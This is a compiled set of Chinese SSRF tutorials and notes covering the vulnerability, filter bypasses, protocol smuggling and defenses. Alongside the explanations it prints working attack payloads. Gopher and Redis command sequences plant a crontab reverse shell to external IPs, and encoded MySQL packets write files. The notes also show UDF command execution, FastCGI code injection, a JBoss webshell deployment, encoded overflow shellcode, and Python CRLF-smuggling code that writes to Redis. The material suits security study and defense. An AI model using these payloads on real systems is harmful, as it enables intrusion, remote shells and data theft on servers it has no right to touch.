SSRF——服务端请求伪造,根因是file_get_contents,fsockopen,curl_exec函数调用,类似远程文件包含,不过是内网机器
4.4. SSRF
4.4.1. 简介
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
4.4.1.1. 漏洞危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
03SSRF的主要攻击方式
攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。
04SSRF的危害
1.内外网的端口和服务扫描
2.攻击运行在内网或本地的应用程序
3.对内网web应用进行指纹识别,识别企业内部的资产信息
4.攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等)
5.利用file协议读取本地敏感数据文件等
05SSRF漏洞复现
1.探测内部主机的任意端口
①利用vulhub进行漏洞复现,SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
②提交参数值为url:port,根据返回错误不同,可对内网状态进行探测如端口开放状态等。
在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001。根据返回错误不同,可对内网状态进行探测如端口开放状态等。
③当我们访问一个不存在的端口时,比如 http://127.0.0.1:7000,将会返回:could not connect over HTTP to server
④当我们访问存在的端口时,比如 http://127.0.0.1:7001。可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回:did not have a valid SOAP content-type
2.利用ssrf获取内网敏感文件信息
①在服务器上有一个ssrf.php的页面,该页面的功能是获取URL参数,然后将URL的内容显示到网页页面上。
②我们访问该链接:http://127.0.0.1/ssrf.php?url=http://127.0.0.1/test.php ,它会将test.php页面显示
③如果我们把url的参数换成 http://www.baidu.com ,页面则会返回百度的页面
④于是我们可以将URL参数换成内网的地址,则会泄露服务器内网的信息。将URL换成file://的形式,就可以读取本地文件。
06防御方式
1、过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3、限制请求的端口,比如80,443,8080,8090。
4、禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
5、使用DNS缓存或者Host白名单的方式。
4.4.2. 利用方式
SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。
以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:
curl -vvv 'dict://127.0.0.1:6379/info'
curl -vvv 'file:///etc/passwd'
# * 注意: 链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
4.4.3. 相关危险函数
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents()
/ fsockopen()
/ curl_exec()
等。
4.4.4. 过滤绕过
4.4.4.1. 更改IP地址写法
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
- 8进制格式:0300.0250.0.1
- 16进制格式:0xC0.0xA8.0.1
- 10进制整数格式:3232235521
- 16进制整数格式:0xC0A80001
- 合并后两位:1.1.278 / 1.1.755
- 合并后三位:1.278 / 1.755 / 3.14159267
另外IP中的每一位,各个进制可以混用。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
4.4.4.2. 使用解析到内网的域名
如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。
另外 xip.io
提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。
4.4.4.3. 利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
比如 http://www.baidu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
4.4.4.4. 利用跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。
常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。
4.4.4.5. 通过各种非HTTP协议
如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file
这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt
来访问D盘中1.txt的内容。
4.4.4.6. DNS Rebinding
一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
4.4.4.7. 利用IPv6
有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::]
0000::1
或IPv6的内网域名来绕过过滤。
4.4.4.8. 利用IDN
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
和 example.com
等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
等字符绕过内网限制。
4.4.5. 可能的利用点
4.4.5.1. 内网服务
- Apache Hadoop远程命令执行
- axis2-admin部署Server命令执行
- Confluence SSRF
- counchdb WEB API远程命令执行
- dict
- docker API远程命令执行
- Elasticsearch引擎Groovy脚本命令执行
- ftp / ftps(FTP爆破)
- glassfish任意文件读取和war文件部署间接命令执行
- gopher
- HFS远程命令执行
- http、https
- imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
- Java调试接口命令执行
- JBOSS远程Invoker war命令执行
- Jenkins Scripts接口命令执行
- ldap
- mongodb
- php_fpm/fastcgi 命令执行
- rtsp - smb/smbs(连接SMB)
- sftp
- ShellShock 命令执行
- Struts2 命令执行
- telnet
- tftp(UDP协议扩展)
- tomcat命令执行
- WebDav PUT上传任意文件
- WebSphere Admin可部署war间接命令执行
- zentoPMS远程命令执行
4.4.5.2. Redis利用
- 写ssh公钥
- 写crontab
- 写WebShell
- Windows写启动项
- 主从复制加载 .so 文件
- 主从复制写无损文件
4.4.5.3. 云主机
在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。
4.4.6. 防御方式
- 过滤返回的信息
- 统一错误信息
- 限制请求的端口
- 禁止不常用的协议
- 对DNS Rebinding,考虑使用DNS缓存或者Host白名单
4.4.7. 参考链接
ssrf攻击概述
很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。
比如下图显示的就是提供这种功能的典型应用:
如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被发现过这种漏洞。攻击者利用ssrf可以实现的攻击主要有5种:
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
常用的后端实现
ssrf攻击可能存在任何语言编写的应用,我们通过一些php实现的代码来作为样例分析。代码的大部分来自于真实的应用源码。
1,php file_get_contents:
<?php if (isset($_POST['url'])) { $content = file_get_contents($_POST['url']); $filename ='./images/'.rand().';img1.jpg'; file_put_contents($filename, $content); echo $_POST['url']; $img = "<img src=\"".$filename."\"/>"; } echo $img; ?>
这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
2,php fsockopen():
<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
3,php curl_exec():
<?php if (isset($_POST['url'])) { $link = $_POST['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
这是另外一个很常见的实现。使用curl获取数据。
攻击场景
大部分的web服务器架构中,web服务器自身都可以访问互联网和服务器所在的内网。下图展示了web服务器的请求可以到达的地方。
端口扫描
大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URI,比如
http://example.com:8080/dir/images/ http://example.com:22/dir/public/image.jpg http://example.com:3306/dir/images/
然后根据服务器的返回信息来判断端口是否开放。大部分应用并不会去判断端口,只要是有效的URL,就发出了请求。而大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为原始的html数据展示。当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。
下面一个实现就可以用来做端口扫描:
<?php if (isset($_POST['url'])) { $link = $_POST['url']; $filename = './curled/'.rand().'txt'; $curlobj = curl_init($link); $fp = fopen($filename,"w"); curl_setopt($curlobj, CURLOPT_FILE, $fp); curl_setopt($curlobj, CURLOPT_HEADER, 0); curl_exec($curlobj); curl_close($curlobj); fclose($fp); $fp = fopen($filename,"r"); $result = fread($fp, filesize($filename)); fclose($fp); echo $result; } ?>
读者可以使用如下表单提交测试(比较简陋~~):
<html><body> <form name="px" method="post" action="http://127.0.0.1/ss.php"> <input type="text" name="url" value=""> <input type="submit" name="commit" value="submit"> </form> <script> </script> </body></html>
正常情况下,请求http://www.twitter.com/robots.txt 返回结果如下:
如果请求非http服务的端口,比如:http://scanme.nmap.org:22/test.txt 会返回banner信息
请求关闭的端口会报错:http://scanme.nmap.org:25/test.txt
请求本地的mysql端口:http://127.0.0.1:3306/test.txt
当然大多数互联网的应用并不会直接返回banner信息。不过可以通过前面说过的,处错误信息,响应时间,响应包大小来判断。下面是Google的webmaster应用中,利用返回信息判断端口状态的案例.该缺陷Google已修复。
攻击应用程序
内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。
下面是用一个小程序本地来演示:
请求:http://127.0.0.1:8987/test.txt
探测到8987端口开放。
请求:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
这里是白盒分析,实战的时候当然没这个条件只能是利用已知漏洞来溢出。通过分析写好exp。因为http是基于文本的协议,所以处理一些不可以打印的unicode字符会存在问题。这里使用msfencode来进行编码。命令如下:
msfpayload widnows/exec CMD=calc.exe R | msfencode bufferRegister=ESP -e x86/alpha_mixed
最终payload如下:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl 5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU 8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2 xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
溢出成功,弹出计算器。
大家也许会对http发送的数据是否能被其他服务器协议接收存在疑问。可以参考跨协议通信技术利用
内网web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。比如可以通过访问下列文件来判断phpMyAdmin是否安装:
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt
访问 http://10.0.0.1/portName.js 可以判断是否是Dlink 路由器
下面百度的案例来自于wooyun,已经修复。通过访问http://10.50.33.43:8080/manager/images/tomcat.gif 识别出服务器使用了tomcat。
攻击内网web应用
仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。
只需要将网马放在公网服务器上,然后发送这个请求即可:
&name=jboss.system:service=MainDeployer&methodIndex=17 &arg0=http://our_public_internet_server/utils/cmd.war
通过加参数请求网马执行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir
实战中一般不会有回显,类似于盲打只能。
读取本地文件
上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:
Request: file:///C:/Windows/win.ini
下面是Adobe的一个案例,已经修复。请求为file:///etc/passwd
如何防御
通常有以下5个思路:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
参考资料
http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html
via riyazwalikar.com 编译整理 by litdg@freebuf
SSRF攻击姿势汇总
前言
这是很早就整理的笔记,今天想起来发到博客上,还是要保持写文章总结的习惯啊。 最近笔者在看讲SSRF、protocol smuggle、HTTP request smuggle、SSO任意跳转,Url解析不一致导致的安全问题。一方面由衷地佩服演讲人的脑洞和安全功底,另外一方面又在笔者又在反思,如果是我,我会怎么去发现此类漏洞,解决方案又是什么。本文不同于各大公众号千篇一律的复现、验证漏洞文章,会加入自己的思考和心得。鉴于文章会存在一些敏感内容,笔者会本着在删除敏感内容的前提下,尽量让大家都能看懂的标准去和大家一起探讨这方面的知识。
在学习前之前我会给自己提出来如下问题:
1.漏洞的本质到底什么
2.应该如何防御
3.如何发现同类漏洞,如何自动化找到此类漏洞甚至0day
什么是SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
$data =curl_exec($ch);
curl_close($ch);
echo $data;
?>
很多介绍SSRF的文章都会以这个作为演示Demo,可以看看curl支持哪些协议:curl-config –protocols
DICT
FILE
FTP
FTPS
GOPHER
HTTP
HTTPS
IMAP
IMAPS
LDAP
LDAPS
POP3
POP3S
RTSP
SMB
SMBS
SMTP
SMTPS
TELNET
TFTP
看到Orange Thai 在blackhat中发表的演讲《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! 》中将讲解了fuzz思路和利用方法,结合本人的一些理解,将从按照协议走私的方式来分析利用方式。
利用gopher协议
gopher协议背景介绍
一、Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;二、地鼠Gopher(谷佛)是迪士尼卡通人物之一。
opher协议是个tcp/ip协议,通过gopher协议可以发送tcp stream做的事情。比如我们操作mysql,操作redis,甚至使用smtp协议发送邮件等等都可以通过转换成gopher协议达到一样的效果。
gopher protocol smuggle
gopher协议是万金油,通过protocol smuggle能执行转换成太多协议
攻击mysql
首先为了实验环境演示尽可能简单,mysql高于5.7需要关闭mysql tls,保证mysql为空密码,关闭tls方法如下
mysql> SHOW VARIABLES LIKE '%ssl%';
+---------------+-----------------+
| Variable_name | Value |
+---------------+-----------------+
| have_openssl | YES |
| have_ssl | YES |
| ssl_ca | ca.pem |
| ssl_capath | |
| ssl_cert | server-cert.pem |
| ssl_cipher | |
| ssl_crl | |
| ssl_crlpath | |
| ssl_key | server-key.pem |
+---------------+-----------------+
9 rows in set (0.00 sec)
编辑配置文件: /path/to/file/my.cnf
[mysqld]
...
skip_ssl
# disable_ssl
很多文章也介绍了如何通过wireshark 抓包然后转换成gopher协议的文章,比如https://paper.seebug.org/510/
或者如果你嫌弃麻烦,直接使用大佬开发的工具https://xz.aliyun.com/t/5844即可,协议怎么转成gopher协议,本文不展开。
secure_file_priv和写目录不受任何限制的情况下
如果不受secure_file_priv和任何目录的限制,可以直接是导出webshell,导出crontab任务,导入udf并反弹shell
show global variables like '%secure_file_priv%';
mysql> show global variables like '%secure_file_priv%';
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
1 row in set (0.00 sec)
所以可以直接执行
mysql -h 127.0.0.1 -uroot -e "select 'hello' into outfile '/var/lib/mysql-files/eval.php'";
转换成gopher协议利用即可
curl gopher://127.0.0.1:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%32%34%31%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%34%36%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%3c%00%00%00%03%73%65%6c%65%63%74%20%27%68%65%6c%6c%6f%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%6c%69%62%2f%6d%79%73%71%6c%2d%66%69%6c%65%73%2f%65%76%61%6c%2e%70%68%70%27%01%00%00%00%01
udf攻击
mysql> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
查看版本和操作系统到https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql下载
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Linux | x86_64 |
+----------------------+---------------------------+
1 row in set (0.00 sec)
方便演示直接从sqlmap中复制出udf.so文件,实际攻击中可以使用gopher +mysql导出,前提是/usr/lib/mysql/plugin/目录有导出权限
select hex(load_file('/var/lib/mysql-files/mysqludf.so')) into outfile '/var/lib/mysql-files/udf.txt';
select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
查看一下so文件中支持哪些函数
nm -D /usr/lib/mysql/plugin/mysqludf.so
导入函数
create Function sys_eval returns string soname 'mysqludf.so';
select sys_eval ('whoami');
secure_file_priv受到限制
如果secure_file_priv受到限制可以使用https://www.freebuf.com/column/150308.html的方法去getshell。除此之外还可以爆破mysql密码之类的。
攻击redis
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/101.198.180.248/4444 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
set x "777"
config set dir /data/
config set dbfilename just66
save
老生常谈,很多文章都详细介绍了,这里不做展开,转换成gopher协议即可。
mongodb
资料较少
zoomkeeper
参考http://www.polaris-lab.com/index.php/archives/41/学习
攻击PFM
总结如下,通过fastcgi协议控制PHP环境变量,达到在任何php脚本执行之前执行我们要执行的代码
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
找到一个已存在的PHP文件
设置 auto_prepend_file 为 php://input 且 allow_url_include = On,在执行任何php文件前都要包含一遍POST的内容,把待执行的代码放在Body中
或者 auto_prepend_file 为 自己的vps地址
绕过 disable_functions RCE
可以引入扩展 .so文件 ,hook函数,达到绕过 disable_functions 来RCE的效果
PHP_ADMIN_VALUE[‘extension’] = hack.so
生成 .so
攻击SYSLOG
可以写日志,这点略过
利用http协议
如果不打算从协议角度突破那就是可以利用出各种基于http协议web应用或者中间件或者服务,比如spring,zabbix等等
http protocol smuggle
思考一下,很多情况下,如果加入了starts with(‘http’),恰巧服务器内网在存在体态未授权的redis,我该怎么利用?除了可以利用302跳转,还可以想办法进行protocol smuggle,302跳转不在我们本次讨论的范围。我们考虑点应该是如何使用protocol smuggle,让http做其他协议能做的事情?
在实际场景中,不同语言利用自己的工具包发送http请求。比如python中用httplib,urllib,urllib2,requests,java中用net.URL,ruby会使用Net::HTTP等等。下面来针对此类发送http工具能否protocol smuggle执行fuzz,换言之是否能够利用http协议来做操作redis,ftp,mysql等等,这一个过程我们怎么去fuzz?。
思考
我该如何进行fuzz,这些需要捋清思路。根据RFC 3986规范,正常来说一个URL应该找这样。我们考虑在authority、path中插入%0D%0A或者其他字符看看能否达到protocol smuggle的标准。这部分可以写一个程序去fuzz,具体大家也可以自己实现一遍。Orange还在PPT提到,在NodeJs中,CLRF被过滤了,但是使用http://127.0.0.1:6379/ -SLAVEOF @orange.tw@ 6379-仍然能够进行protocol smuggle。
可以通过fuzz出不同语言http请求工具库解析造成的protocol smuggle,这部分知道思路之后可以自己写一个工具去fuzz,我只fuzz了python3下的urllib,fuzz出如下 %09 %0a %0d %20任意组合可以达到protocol smuggle的效果,我准备了0-167的ascii码作为字符组合进行fuzz,这个需要提到是开发用的tcp服务器需要用nio来写提高吞吐率。
其中fuzz到很多,下联列出两条
http://127.0.0.1:6379/%09%0aHost:baidu.com%09%0a=>http://127.0.0.1:6379/\t\nHost:baidu.com\t\n
http://127.0.0.1:6379/%20%09Host:baidu.com%20%09=>http://127.0.0.1:6379/ \tHost:baidu.com \t
攻击redis
针对python 中的
import urllib
import urllib.error
import urllib.request
if __name__=="__main__":
url1 = "http://10.211.55.2:6379/a\r\nHost:baidu.com\r\n"#老的
url3 = "http://ssrf_redis_host:6379/\t\nSET test success\t\na"
urllib.request.urlopen(url3).code
未授权redis中被写入成功
root@19e4c139fc3e:/data# redis-cli
127.0.0.1:6379> KEYS *
1) "test"
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379>
其实只要整理好思路,针对不同语言的也是类似的fuzz过程,fuzz完之后给python官方提了个issue。
攻击syslog
略过,关于更多方式可以见https://hackerone.com/reports/115748
利用LDAP协议
还有一种场景就是,很多开源系统中会存在LDAP测试连接,这个地方的ssrf结合csrf也可以被用来进行利用。还是以python中的python-ldap包为例,可以
import ldap
conn = ldap.initialize("ldap://127.0.0.1:6379")
conn.simple_bind_s("\r\nSET test1 success\r\n", "admin88")
结果如下
root@1ca44b41ffcf:/data# redis-cli
127.0.0.1:6379> KEYS *
(empty list or set)
127.0.0.1:6379> KEYS *
1) "test1"
127.0.0.1:6379> KEYS *
1) "test1"
127.0.0.1:6379> GET test1
"success"
127.0.0.1:6379>
如果使用的是ldap3,效果如下
from ldap3 import Server, Connection, ALL, SUBTREE, ServerPool
ldap_server_pool = ServerPool("ldap://10.211.55.2:6379")
conn = Connection(ldap_server_pool, user="\r\nSET ldap3 success\r\n", password="pass", check_names=True, lazy=False,
raise_exceptions=True)
conn.bind()
127.0.0.1:6379> KEYS *
1) "ldap3"
2) "test"
3) "test1"
127.0.0.1:6379>
修复方式也很简单,直接在bind之前,执行下open函数,open函数会做一次校验
from ldap3 import Server, Connection, ALL, SUBTREE, ServerPool
ldap_server_pool = ServerPool("ldap://10.211.55.2:6379")
conn = Connection(ldap_server_pool, user="\r\nSET ldap4 success\r\n", password="pass", check_names=True, lazy=False,
raise_exceptions=True)
conn.open()
conn.bind()
效果如下
127.0.0.1:6379> KEYS *
(empty list or set)
##利用DICT协议
不展开
